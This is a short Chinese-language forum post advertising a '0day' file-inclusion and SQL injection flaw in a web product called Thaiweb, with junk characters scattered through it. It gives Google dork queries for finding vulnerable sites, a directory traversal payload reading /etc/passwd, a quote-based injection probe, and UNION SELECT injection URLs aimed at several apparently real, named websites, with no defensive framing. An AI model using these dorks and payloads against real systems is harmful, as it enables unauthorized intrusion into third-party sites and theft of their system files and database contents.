Thaiweb远程文件sql注入漏洞0day

admin

Google之:
! Q; Q/ c3 s+ [5 Y, g/ y9 [
intext:powered by Thaiweb
$ d' y- i/ J- }( {
4 K$ L$ X" d4 cinurl:index.php?page=board.php
' P$ {# e: ]) q, g7 i

" I8 V% [. k% {- X( R
- ^6 f4 o+ t* w5 _& r' `$ d利用点1:http://www.xfack.com/index.php?p ... ../../../etc/passwd
  Q1 B/ D% V2 u* ]0 n) z
: Y! b2 j8 K1 h/ p' m& q# d
) f+ C: t& Y; E* K9 d3 T* e
. p  j; ~3 H5 }  F利用点2:http://www.xfack.com/index.php?page=boardque.php&bod_id=4'

. _- `& s5 E. W8 A

http://www.keytasin.com//index.p ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
: p1 `6 h! ?7 w: `+ ~. a: Y
2 J& g. X+ O* v7 ?1 Xhttp://www.autopartnerthailand.c ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--

http://gift.in.th/index.php?page ... d=-4+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,316--
2 [; ^% P5 M# b* S2 ^